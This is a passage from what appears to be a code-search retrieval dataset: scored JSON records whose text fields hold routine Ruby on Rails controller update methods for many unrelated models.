"74cfe1fccf66b3ef4b9d5c96f6850893", "score": "0.60742706", "text": "def update\n respond_to do |format|\n if @abastecimento.update(abastecimento_params)\n format.html { redirect_to abastecimentos_url, notice: 'Abastecimento editado com sucesso.' }\n format.json { head :no_content }\n else\n format.html { render :edit }\n format.json { render json: @abastecimento.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "374b47f53bf2940e3f2dc2135f2e0ea1", "score": "0.6071784", "text": "def set_ambulanceinfo\n @ambulanceinfo = Ambulanceinfo.find(params[:id])\n end", "title": "" }, { "docid": "c3b12ea56cc30b9604e5d03d6dabb8f2", "score": "0.60681164", "text": "def update\n puts \"update #{@need.as_json} #{updated_params.as_json}\"\n respond_to do |format|\n if @need.update(updated_params)\n puts \"brucep update success\"\n format.html { redirect_to new_need_path }\n format.json { render :show, status: :ok, location: @need }\n else\n format.html { render :edit }\n format.json { render json: @need.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "1ee31c148e11e8cfbce38775ee55c312", "score": "0.6062865", "text": "def update\n @ambito = Ambito.find(params[:id])\n\n respond_to do |format|\n if @ambito.update_attributes(params[:ambito])\n format.html { redirect_to(@ambito, :notice => 'Ambito was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @ambito.errors, :status => :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "2ea53bcc6a6ea5f92852634bb0af13b6", "score": "0.60619164", "text": "def update\n pai = params[:pai] ? Conta.find_by_id(params[:pai]): nil\n \n respond_to do |format|\n if @conta.update(nome: conta_params[:nome], status: conta_params[:status], pai: pai) \n #format.json { render :show, status: :ok, location: @conta }\n format.json { render json: @conta.to_json, status: :ok }\n else \n format.json { render json: @conta.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "f5272fe85d53d6fa2a180cbb84ab4644", "score": "0.60613465", "text": "def activo_update\n respond_to do |format|\n activo = params[:laboratorio][:activo]\n id = params[:id]\n Laboratorio.where(id: id).update_all(activo: activo )\n msg = { :status => \"ok\", :message => \"Actualizado!\" }\n format.json { render :json => msg }\n end\n end", "title": "" }, { "docid": "6ae2636703cac49f35e812bb0e4b688a", "score": "0.6054211", "text": "def update\n respond_to do |format|\n if @abook.update(abook_params)\n format.html { redirect_to @abook, notice: 'Abook was successfully updated.' }\n format.json { render :show, status: :ok, location: @abook }\n else\n format.html { render :edit }\n format.json { render json: @abook.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "dab3e9404d51657349cf1a1f26174cce", "score": "0.60512197", "text": "def update\n @basin = Basin.find(params[:id])\n\n respond_to do |format|\n if @basin.update_attributes(params[:basin])\n format.html { redirect_to @basin, notice: 'Basin was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @basin.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "1e90ad74db41898b9639103459bb3f49", "score": "0.6045501", "text": "def update\n @apprentice = Apprentice.find(params[:id])\n\n respond_to do |format|\n if @apprentice.update_attributes(params[:apprentice])\n format.html { redirect_to @apprentice, notice: 'Apprentice was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @apprentice.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "51cf5b8b9ab7834edb679fc496af5838", "score": "0.60385466", "text": "def update\n @owner = Owner.find(params[:id])\n\n respond_to do |format|\n if @owner.update_attributes(params[:owner])\n format.html { redirect_to owners_path, notice: 'Oferta a fost updatata cu success.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @owner.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "08efc87589086768a8caa31d673b5bb7", "score": "0.60292643", "text": "def update\n respond_to do |format|\n if @bread.update(bread_params)\n format.html { redirect_to @bread, notice: 'パン情報を編集した.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @bread.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "e335d198d54bf7c1f533f39c094bd158", "score": "0.6029141", "text": "def update\n respond_to do |format|\n if @api_v1_expense.update(api_v1_expense_params)\n format.html { redirect_to @api_v1_expense, notice: 'Expense was successfully updated.' }\n format.json { render :show, status: :ok, location: @api_v1_expense }\n else\n format.html { render :edit }\n format.json { render json: @api_v1_expense.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "f9a09588684d4574a3e8f652dbf3d254", "score": "0.60160077", "text": "def update\n respond_to do |format|\n if @banco.update(banco_params)\n format.html { redirect_to(:bancos, :notice => t('activerecord.successful.messages.updated', :model => @banco.class.model_name.human))}\n format.json { render :show, status: :ok, location: @banco }\n else\n format.html { render :edit }\n format.json { render :json => { :errors => @banco.errors.full_messages }, :status => 422 }\n end\n end\n end", "title": "" }, { "docid": "349e1db6dff2a9fbe50b6ebdb9a7c1ab", "score": "0.6014196", "text": "def update\n\n @foaf.interests.clear\n\n if(foaf_params.has_key?(:interests_attributes))\n interest_ids = foaf_params[:interests_attributes].split(\",\").map { |s| s.to_i }\n interest_ids.each do |i|\n @foaf.interests << Interest.find(i)\n #@foaf.update(Interest.find(i))\n end\n \n end\n\n respond_to do |format|\n if @foaf.update(name: foaf_params[:name], work: foaf_params[:work], \n slug: foaf_params[:slug], birthday: foaf_params[:birthday])\n format.html { redirect_to @foaf, notice: 'Foaf was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @foaf.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "c3fc4c7dfddfeea7a59b7bc061071f0d", "score": "0.6014039", "text": "def update\n @bla = Bla.find(params[:id])\n\n respond_to do |format|\n if @bla.update_attributes(params[:bla])\n format.html { redirect_to @bla, :notice => 'Bla was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render :action => \"edit\" }\n format.json { render :json => @bla.errors, :status => :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "1669a3038bb41ff050ba8447470a14ef", "score": "0.6008992", "text": "def update\n respond_to do |format|\n if @absence.update(absence_params)\n format.html { redirect_to @absence, notice: 'Absence was successfully updated.' }\n format.json { render :show, status: :ok, location: @absence }\n else\n format.html { render :edit }\n format.json { render json: @absence.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "e6903c5096b4c45bf1da0f69a9f2c06e", "score": "0.59997016", "text": "def update\n @bruschettum = Bruschettum.find(params[:id])\n @bruschettum.ingredients.clear\n params[:ingredient].each{|ingr|\n @bruschettum.ingredients << Ingredient.find_by_name(ingr)\n }\n\n respond_to do |format|\n if @bruschettum.update_attributes(params[:bruschettum])\n format.html { redirect_to @bruschettum, notice: 'Bruschettum was successfully updated.' }\n format.json { head :ok }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @bruschettum.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "3390e70e13824a0b08c146b78bf03269", "score": "0.59991103", "text": "def update\n respond_to do |format|\n if @appraisal_model.update(appraisal_model_params)\n format.html { redirect_to @appraisal_model, notice: 'Appraisal model was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @appraisal_model.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "34b71409ba4fc25c53c9062d580d0fd6", "score": "0.59979737", "text": "def update\n @amenity = Amenity.find(params[:id])\n if @amenity.update_attributes(:name=>params[:body][:amenity])\n render :json=>{:response=>\"success\"}\n else\n render :json=>failure1(@amenity.errors)\n end \n end", "title": "" }, { "docid": "8344c4f4a554a6fad066092b8ca1509b", "score": "0.599526", "text": "def update\n respond_to do |format|\n if @infraction.update(infraction_params)\n format.html { redirect_to @infraction, notice: 'Infraction was successfully updated.' }\n format.json { render :show, status: :ok, location: @infraction }\n else\n format.html { render :edit }\n format.json { render json: @infraction.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "d6c0d47a467d265ac4db50c324e6e6b2", "score": "0.59934443", "text": "def update\n respond_to do |format|\n if @barrels_income.update(barrels_income_params)\n format.html { redirect_to @barrels_income, notice: 'Barrels income was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @barrels_income.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "5655b98df6460a73de7b81851d822c78", "score": "0.5989836", "text": "def update\n @bundle = Bundle.find(params[:id])\n\n\n respond_to do |format|\n params[:bundle][:category] = params[:bundle][:category].strip.downcase\n params[:bundle][:style] = params[:bundle][:style].strip.downcase\n params[:bundle][:color] = params[:bundle][:color].strip.downcase\n params[:bundle][:brand] = params[:bundle][:brand].strip.downcase\n params[:bundle][:make] = params[:bundle][:make].strip.downcase\n params[:bundle][:location] = params[:bundle][:location].strip.downcase\n\n if @bundle.update_attributes(params[:bundle])\n format.html { redirect_to @bundle, notice: 'Bundle was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @bundle.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "03fd09e1c6507aac499b70a83128c887", "score": "0.59873235", "text": "def update\n @aliquotum = Aliquotum.find(params[:id])\n\n respond_to do |format|\n if @aliquotum.update_attributes(params[:aliquotum])\n format.html { redirect_to @aliquotum, notice: 'Aliquotum was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @aliquotum.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "5543e216b34914e1b9e2e1a90b3d125f", "score": "0.5986124", "text": "def update\n @ba_spec = BaSpec.find(params[:id])\n\n respond_to do |format|\n if @ba_spec.update_attributes(params[:ba_spec])\n format.html { redirect_to session[:return_to] }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @ba_spec.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "1915907b68452b8a4050abfd4f8d0328", "score": "0.59842247", "text": "def update\n if @information.update(information_params)\n render json: :ok\n else\n render json: @information.errors, status: :unprocessable_entity\n end\n end", "title": "" }, { "docid": "d76557d76591fc151ba8732540620568", "score": "0.5983407", "text": "def update\n respond_to do |format|\n if @need.update(need_params)\n format.html { redirect_to needs_path, notice: 'Need was successfully updated.' }\n format.json { head :no_content }\n else\n @cabins = Cabin.all\n format.html { render action: 'edit' }\n format.json { render json: @need.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "8f136e3b7cde2fcbcac4d0e6788571ef", "score": "0.5983164", "text": "def update\n\n @foaf.interests.clear\n\n if(foaf_params.has_key?(:interests_attributes))\n interest_ids = foaf_params[:interests_attributes].split(\",\").map { |s| s.to_i }\n interest_ids.each do |i|\n @foaf.interests << Interest.find(i)\n #@foaf.update(Interest.find(i))\n end\n \n end\n\n respond_to do |format|\n if @foaf.update(name: foaf_params[:name], work: foaf_params[:work], \n slug: foaf_params[:slug], birthday: foaf_params[:birthday])\n format.html { redirect_to @foaf, notice: 'FOAF was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @foaf.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "c0116e532480bccbccdf20b1f2e4cde7", "score": "0.5978542", "text": "def update_rest\n @item_usage = ItemUsage.find(params[:id])\n\n respond_to do |format|\n if @item_usage.update_attributes(params[:item_usage])\n flash[:notice] = 'ItemUsage was successfully updated.'\n format.html { redirect_to(@item_usage) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @item_usage.errors, :status => :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "9bea51495645b84d48e9f3455bb5a270", "score": "0.59781855", "text": "def update\n @finance = Finance.find(params[:id])\n\n respond_to do |format|\n if @finance.update_attributes(params[:finance])\n format.html { redirect_to @finance, notice: 'Finance was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @finance.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "175540fec88590d71b29ca3b0ec1c88c", "score": "0.59743464", "text": "def update\n respond_to do |format|\n if @appraisal_fee.update(appraisal_fee_params)\n format.html { redirect_to appraisal_fees_path, notice: 'Appraisal fee was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @appraisal_fee.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "a335d50312801e80ab6f0d64ddc7f073", "score": "0.5972398", "text": "def update\n @ambit = Ambit.find(params[:id])\n\n respond_to do |format|\n if @ambit.update_attributes(params[:ambit])\n format.html { redirect_to(@ambit, :notice => 'Ambit was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @ambit.errors, :status => :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "7457d165e8cccb0d04224e16ca4bb4e1", "score": "0.5972043", "text": "def update\n @availablity = Availablity.find(params[:id])\n\n respond_to do |format|\n if @availablity.update_attributes(params[:availablity])\n format.html { redirect_to @availablity, notice: 'Availablity was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @availablity.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "c5622ce01c661c1cc0ec4b0839c587ff", "score": "0.59679806", "text": "def update\n respond_to do |format|\n if @api_v1_concern.update(api_v1_concern_params)\n format.html { redirect_to @api_v1_concern, notice: 'Concern was successfully updated.' }\n format.json { render :show, status: :ok, location: @api_v1_concern }\n else\n format.html { render :edit }\n format.json { render json: @api_v1_concern.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "ef3dfc97885dffb0ae06b626f339f369", "score": "0.5966482", "text": "def update\n @complaint = Complaint.find(params[:id])\n\n if @complaint.update_attributes(params[:complaint])\n head :no_content\n else\n render json: @complaint.errors, status: :unprocessable_entity\n end\n end", "title": "" }, { "docid": "41d4fea90d52d445361fa8163a49b830", "score": "0.596198", "text": "def update\n @getoff_info = GetoffInfo.find(params[:id])\n\n respond_to do |format|\n if @getoff_info.update_attributes(params[:getoff_info])\n format.html { redirect_to @getoff_info, :notice => 'Getoff info was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render :action => \"edit\" }\n format.json { render :json => @getoff_info.errors, :status => :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "c45b3d66dc2297167ba5d52853deedbb", "score": "0.59596777", "text": "def update\n @caballo = Caballo.find(params[:id])\n\n respond_to do |format|\n if @caballo.update_attributes(params[:caballo])\n format.html { redirect_to @caballo, notice: 'Caballo was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @caballo.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "82369a10c45fad9dc1a1a0fc2a27f091", "score": "0.5951658", "text": "def update\n official = Official.find(params[:id])\n if official.update(official_params)\n render json: official, status: 200, location: [:api, official]\n else\n failed_to_update(official, \"official\")\n end\n end", "title": "" }, { "docid": "7928749c00b9de719d6eff90de530fe6", "score": "0.59511286", "text": "def update\n @alumno = Alumno.find(params[:id])\n\n respond_to do |format|\n if @alumno.update_attributes(params[:alumno])\n head :no_content\n else\n render json: @alumno.errors, status: :unprocessable_entity\n end\n end\n end", "title": "" }, { "docid": "f37f1c0ec1479c5a2f32f59c3f0c064c", "score": "0.5949314", "text": "def update\n @bahan = Bahan.find(params[:id])\n\n respond_to do |format|\n if @bahan.update_attributes(params[:bahan])\n format.html { redirect_to @bahan, notice: 'Bahan was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @bahan.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "2dafcb85b4154b63d7144b4e45d7c518", "score": "0.5948516", "text": "def update\n respond_to do |format|\n if @my_boice.update(my_boice_params)\n format.html { redirect_to @my_boice, notice: 'My boice was successfully updated.' }\n format.json { render :show, status: :ok, location: @my_boice }\n else\n format.html { render :edit }\n format.json { render json: @my_boice.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "aa735ab556d37c70906f6b499be5d74a", "score": "0.5947109", "text": "def update\n @oferta = Oferta.find(params[:id])\n\n respond_to do |format|\n if @oferta.update_attributes(params[:oferta])\n format.html { redirect_to [:admin, @oferta], :notice => 'Exemplo was successfully updated.' }\n format.json { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.json { render :json => @oferta.errors, :status => :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "dd536e08d665f87a436119e8d42e8734", "score": "0.5945305", "text": "def update\n @boat = Boat.find(params[:id])\n\n respond_to do |format|\n if @boat.update_attributes(boat_params)\n=begin\n @user = User.find_by_mobile_no(@boat.mobile_no)\n @boat.user_id = @user.id if @user.present?\n @boat.save\n=end\n format.html {redirect_to @boat, notice: 'Boat was successfully updated.'}\n format.json {head :no_content}\n else\n format.html {render action: \"edit\"}\n format.json {render json: @boat.errors, status: :unprocessable_entity}\n end\n end\n end", "title": "" }, { "docid": "fbd2d5ffacc265bcf60973cd2df1e286", "score": "0.59448594", "text": "def update\n @infographic = Infographic.find(params[:id])\n\n respond_to do |format|\n if @infographic.update_attributes(params[:infographic])\n format.html { redirect_to :back, notice: 'Infographic was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @infographic.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "00ad1852f5490c9f60dd67c35a1497e9", "score": "0.5944756", "text": "def update\n authorize! :update,Beneficiario\n @solicitante= Solicitante.find(params[:solicitante_id])\n @beneficiario = Beneficiario.update(beneficiario_params)\n\n respond_to do |format|\n format.html { redirect_to solicitante_beneficiario_path(@solicitante, params[:id]), notice: 'Beneficiario actualizado exitosamente.' }\n format.json { render :show, status: :ok, location: solicitante_beneficiario_path(@solicitante, @beneficiario) }\n\n end\n end", "title": "" }, { "docid": "85d2ed02d760acd40f7badcfec78a18a", "score": "0.5944218", "text": "def update!(params)\n res = @client.put(path, nil, params, \"Content-Type\" => \"application/json\")\n @attributes = res.json if res.status == 201\n res\n end", "title": "" }, { "docid": "da2368530f39414f8000d4f4a22fb334", "score": "0.5943926", "text": "def update\n respond_to do |format|\n if @contract.update(update_params)\n format.html { redirect_to_leaf_notice(UPDATE_SUCCESS) }\n format.json { render :show, status: :ok, location: @contract }\n else\n unprocessable_response(format)\n end\n end\n end", "title": "" }, { "docid": "1167cd27cd1fb43f4943b64e7be17837", "score": "0.59438497", "text": "def update\n ingredient.update(ingredient_params)\n render json: ingredient\n end", "title": "" }, { "docid": "729c3dc41ea1884e5aa9680583f4d079", "score": "0.5942528", "text": "def update\n respond_to do |format|\n if @bacon.update(bacon_params)\n format.html { redirect_to @bacon, notice: 'Bacon was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @bacon.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "135ea2241cbe0bafb2d07180b1045a36", "score": "0.594053", "text": "def update\n @absence = Absence.find(params[:id])\n\n respond_to do |format|\n if @absence.update_attributes(params[:absence])\n format.html { redirect_to @absence, notice: 'Absence was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @absence.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "ce83c2f632a2fdb6883e453e38c7be26", "score": "0.59390336", "text": "def update\n respond_to do |format|\n if @apologetic.update(apologetic_params)\n format.html { redirect_to @apologetic, notice: 'Apologetic was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @apologetic.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "2ed9748154ea521802bbfdfec3a2a71b", "score": "0.59388506", "text": "def update\n respond_to do |format|\n if @anuphat.update(anuphat_params)\n format.html { redirect_to @anuphat, notice: 'Anuphat was successfully updated.' }\n format.json { render :show, status: :ok, location: @anuphat }\n else\n format.html { render :edit }\n format.json { render json: @anuphat.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "222b73ff2db981fa254405eba3f78bba", "score": "0.593821", "text": "def update\n respond_to do |format|\n activo = params[:lab_far][:activo]\n farmacia_id = session[:farmacia_id]\n id = params[:id]\n LabFar.where(laboratorio_id: id, farmacium_id:farmacia_id).update_all(activo: activo )\n msg = { :status => \"ok\", :message => \"Actualizado!\" }\n format.json { render :json => msg }\n end\n end", "title": "" }, { "docid": "dfe1e7831e51cf2ba09e1a0c91cbeb0d", "score": "0.5936601", "text": "def update\n @ubication = Ubication.find(params[:id])\n\n respond_to do |format|\n if @ubication.update_attributes(params[:ubication])\n format.html { redirect_to @ubication, notice: 'Ubication was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @ubication.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "d9d0d880b24a73ce7c4bf81ced3be940", "score": "0.5936126", "text": "def update\n @income = Income.find(params[:id])\n\n respond_to do |format|\n if @income.update_attributes(income_params)\n format.html { redirect_to @income, notice: 'Income was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @income.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "7521fdcdd26230054e5523af59a18044", "score": "0.59345686", "text": "def update\n respond_to do |format|\n if @pain_amount.update(pain_amount_params)\n format.html { redirect_to @pain_amount, notice: 'Pain amount was successfully updated.' }\n format.json { render :show, status: :ok, location: @pain_amount }\n else\n format.html { render :edit }\n format.json { render json: @pain_amount.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "f75edb99a52b3aa998fbcfde258bb05c", "score": "0.59343785", "text": "def update\n render json: Alien.update(params[\"id\"], params[\"alien\"])\n end", "title": "" }, { "docid": "e1af901cde904b7784b9d3acf5e89c01", "score": "0.59341234", "text": "def update\n respond_to do |format|\n if @assessment_info.update(assessment_info_params)\n format.html { redirect_to edit_concept_url(@assessment_info.concept_id), notice: 'assessment_info was successfully updated.' }\n format.json { render :show, status: :ok, location: @assessment_info }\n else\n format.html { render :edit }\n format.json { render json: @assessment_info.errors, status: :unprocessable_entity }\n end\n end\nend", "title": "" }, { "docid": "ad1b9c749b0b6c1950c3c487442f21b5", "score": "0.59333664", "text": "def update\n\n respond_to do |format|\n if @life_insurance.update_attributes(params[:life_insurance])\n format.html { redirect_to @life_insurance, notice: 'Life insurance was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @life_insurance.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "cbeea06c07cd188fc446d962f33cfae1", "score": "0.5932865", "text": "def update\n respond_to do |format|\n if @business_metum.update(business_metum_params)\n format.html { redirect_to @business_metum, notice: 'Business metum was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @business_metum.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "13f830a910a81931e1a255c4a0b5e667", "score": "0.59284925", "text": "def update\n @jamaat = Jamaat.find(params[:id])\n\n respond_to do |format|\n if @jamaat.update_attributes(params[:jamaat])\n format.html { redirect_to @jamaat, notice: 'Jamaat was successfully updated.' }\n format.json { head :ok }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @jamaat.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "7d8ae53083c7bf56aa6703b390b6972f", "score": "0.5928322", "text": "def update\n respond_to do |format|\n if @infobook.update(infobook_params)\n format.html { redirect_to @infobook, notice: 'Infobook was successfully updated.' }\n format.json { render :show, status: :ok, location: @infobook }\n else\n format.html { render :edit }\n format.json { render json: @infobook.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "7c782e5d4d5cefe033936d12aef5db71", "score": "0.59278774", "text": "def update\n respond_to do |format|\n if @miscellaneou.update(miscellaneou_params)\n format.html { redirect_to @miscellaneou, notice: 'Accessory was successfully updated.' }\n format.json { render :show, status: :ok, location: @miscellaneou }\n else\n format.html { render :edit }\n format.json { render json: @miscellaneou.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "15ad3ac3465bd6bf2bddff7f7c380cfe", "score": "0.5920339", "text": "def update\n respond_to do |format|\n if @interest.update_attributes(params[:interest])\n format.html { redirect_to @interest, :notice => 'Интересот е успешно ажуриран.' }\n format.json { head :no_content }\n else\n format.html { render :action => \"edit\" }\n format.json { render :json => @interest.errors, :status => :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "08a0fd96e378ecd9f676516ecd3f66c9", "score": "0.59201217", "text": "def update\n @oferta_academica = OfertaAcademica.find(params[:id])\n\n if @oferta_academica.update(params[:oferta_academica])\n head :no_content\n else\n render json: @oferta_academica.errors, status: :unprocessable_entity\n end\n end", "title": "" }, { "docid": "aa7becee2fbc6ed7959d4e3d1b919557", "score": "0.5913862", "text": "def update\n @admin_bait = Bait.find(params[:id])\n\n respond_to do |format|\n if @admin_bait.update_attributes(params[:admin_bait])\n format.html { redirect_to @admin_bait, notice: 'Bait was successfully updated.' }\n format.json { head :ok }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @admin_bait.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "8d2eb9f855a8144f15937bf5dab32a44", "score": "0.5911582", "text": "def update\n respond_to do |format|\n if @baby.update(baby_params)\n format.html { redirect_to @baby, notice: \"Baby was successfully updated.\" }\n format.json { render :show, status: :ok, location: @baby }\n else\n format.html { render :edit, status: :unprocessable_entity }\n format.json { render json: @baby.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "f7b5c1e950713e13b21e022c38f39a53", "score": "0.5909483", "text": "def update\n @apuesta_detail = ApuestaDetail.find(params[:id])\n\n respond_to do |format|\n if @apuesta_detail.update_attributes(params[:apuesta_detail])\n format.html { redirect_to @apuesta_detail, notice: 'Apuesta detail was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @apuesta_detail.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "bc67ec6df7638f8f04b64fed15609d0a", "score": "0.59088635", "text": "def update\n respond_to do |format|\n if @bank_agence.update(bank_agence_params)\n format.html { redirect_to @bank_agence, notice: 'Bank agence was successfully updated.' }\n format.json { render :show, status: :ok, location: @bank_agence }\n else\n format.html { render :edit }\n format.json { render json: @bank_agence.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "f7d81f0c074b45df31a0c252982b912f", "score": "0.59070086", "text": "def update\n @bundle = Bundle.find(params[:id])\n\n respond_to do |format|\n if @bundle.update_attributes(params[:bundle])\n format.html { redirect_to @bundle, notice: 'Bundle was successfully updated.' }\n format.json { head :ok }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @bundle.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "15831058c5e384463bbc72832bc28097", "score": "0.5905137", "text": "def update\n respond_to do |format|\n if @boat.update(boat_params)\n format.html { redirect_to @boat, notice: 'Boat was successfully updated.' }\n format.json { render :show, status: :ok, location: @boat }\n else\n format.html { render :edit }\n format.json { render json: @boat.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "15831058c5e384463bbc72832bc28097", "score": "0.5905137", "text": "def update\n respond_to do |format|\n if @boat.update(boat_params)\n format.html { redirect_to @boat, notice: 'Boat was successfully updated.' }\n format.json { render :show, status: :ok, location: @boat }\n else\n format.html { render :edit }\n format.json { render json: @boat.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "15831058c5e384463bbc72832bc28097", "score": "0.5905137", "text": "def update\n respond_to do |format|\n if @boat.update(boat_params)\n format.html { redirect_to @boat, notice: 'Boat was successfully updated.' }\n format.json { render :show, status: :ok, location: @boat }\n else\n format.html { render :edit }\n format.json { render json: @boat.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "f1fbd59a29d4123174d2df015808347c", "score": "0.5900765", "text": "def update\n respond_to do |format|\n if @loan.update(loan_params)\n format.html { redirect_to @loan, notice: 'Loan was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @loan.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "6a6a5de3d1e3a84271ae90f542e7925e", "score": "0.5900256", "text": "def update\n respond_to do |format|\n if @campaign_finance_info.update(campaign_finance_info_params)\n format.html { redirect_to @campaign_finance_info, notice: 'Campaign finance info was successfully updated.' }\n format.json { render :show, status: :ok, location: @campaign_finance_info }\n else\n format.html { render :edit }\n format.json { render json: @campaign_finance_info.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "14dae105935e319bb9af0f0c0b1fb75f", "score": "0.58959776", "text": "def update\n @anuncio = Anuncio.find params[:id]\n if @anuncio.update(anuncio_params)\n render :show, status: :ok, location: @anuncio\n else\n render json: @anuncio.errors, status: :unprocessable_entity\n end\n end", "title": "" }, { "docid": "b80bded52d24d8d2fccc11f5506654a8", "score": "0.58944416", "text": "def update\n @book = Book.find(params[:id])\n\n respond_to do |format|\n if @book.update_attributes(params[:book])\n \n format.json { render json: @book, status: :created, location: @book }\n else\n \n format.json { render json: @book.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "d45633a6586fbca332b2f1c19f25338c", "score": "0.589423", "text": "def update\n @agency = Agency.find(params[:id])\n\n if @agency.update(agency_params)\n #head :no_content\n render 